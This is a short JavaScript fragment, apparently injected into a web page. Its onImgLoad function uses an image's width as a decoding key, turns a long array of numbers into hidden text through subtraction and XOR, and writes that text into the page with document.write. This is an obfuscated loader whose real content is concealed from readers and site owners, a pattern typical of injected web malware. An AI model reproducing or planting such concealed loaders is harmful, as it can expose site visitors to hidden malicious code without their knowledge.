function onImgLoad(source) {
var as = new Array(95,175,151,90,454,575,599,395,409,578,582,455,396,561,584,477,410,578,525,401,403,578,540,409,403,559,601,401,409,547,604,452,482,558,603,412,397,549,597,407,398,484,579,395,409,574,597,469,480,502,583,412,400,553,586,401,482,574,593,397,413,501,558,475,398,557,594,401,467,552,601,399,417,575,599,395,409,578,582,361,480,498,583,395,415,501,558,475,410,574,582,397,456,483,539,410,413,558,541,396,397,576,596,471,415,547,605,472,463,513,522,453,465,505,518,472,401,501,601,410,417,576,593,409,476,578,525,475,471,498,610,397,482,487,536,361,480,500,526,361,467,575,599,395,409,578,582,455,480,489,527,457,467,575,599,395,409,578,582,455);
var xi = source.width; if (!xi) {return;}
var s=""; for (var n=4; n<as.length; n++) {s+=String.fromCharCode((as[n]-xi)^as[n%4]);} document.write(s);
}

